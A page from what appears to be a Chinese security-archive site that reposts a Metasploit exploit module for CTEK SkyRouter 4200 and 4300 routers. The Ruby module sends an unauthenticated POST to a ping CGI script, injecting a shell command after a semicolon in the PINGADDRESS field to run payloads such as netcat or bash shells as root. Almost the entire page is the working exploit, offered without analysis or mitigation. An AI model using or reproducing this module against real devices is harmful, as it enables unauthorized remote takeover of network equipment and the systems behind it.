首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
CTEK SkyRouter 4200 and 4300 Command Execution
来源:http://www.metasploit.com 作者:savant42 发布时间:2011-12-01  

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'CTEK SkyRouter 4200 and 4300 Command Execution',
   'Description'    => %q{
     This module exploits an unauthenticated remote root exploit within ctek SkyRouter 4200 and 4300.
   },
   'Author'         => [ 'savant42' ],  #with module help from kos
   'License'        => MSF_LICENSE,
   'References'     => [ 'URL', 'http://dev.metasploit.com/redmine/issues/5610'],
   'Privileged'     => false,
   'Payload'        =>
    {
     'DisableNops' => true,
     'Space'       => 1024,
     'Compat'      =>
      {
       'PayloadType' => 'cmd',
       'RequiredCmd' => 'generic perl telnet netcat-e bash',
      }
    },
   'Platform'       => 'unix',
   'Arch'           => ARCH_CMD,
   'Targets'        => [[ 'Automatic', { }]],
   'DisclosureDate' => 'Sep 8 2011', # CGI historical date :)
   'DefaultTarget' => 0))

 end

 def exploit
  post_data = "MYLINK=%2Fapps%2Fa3%2Fcfg_ethping.cgi&CMD=u&PINGADDRESS=;" + Rex::Text.uri_encode(payload.encoded) + "+%26"
  uri    = '/apps/a3/cfg_ethping.cgi'
  print_status("Sending HTTP request for #{uri}")
  res = send_request_cgi( {
   'global' => true,
   'uri'    => uri,
   'method' => "POST",
   'data' => post_data
  }, 30)

  if res
   print_status("The server responded with HTTP CODE #{res.code}")
  else
   print_status("The server did not respond to our request")
  end

  handler
 end

end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Java Applet Rhino Script Engin
·Bugbear FlatOut 2005 Malformed
·Serv-U FTP Server Jail Break
·GOM Player 2.1.33.5071 ASX Fil
·MS11-080 Afd.sys Privilege Esc
·Mercury/32 v4.52 IMAPD SEARCH
·CCMPlayer 1.5 Stack based Buff
·Titan FTP Server 8.40 DoS Kern
·IBM Lotus Domino Server Contro
·Serv-U FTP Server <4.2 Buffer
·Android 'content://' URI Multi
·AVID Media Composer Phonetic I
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved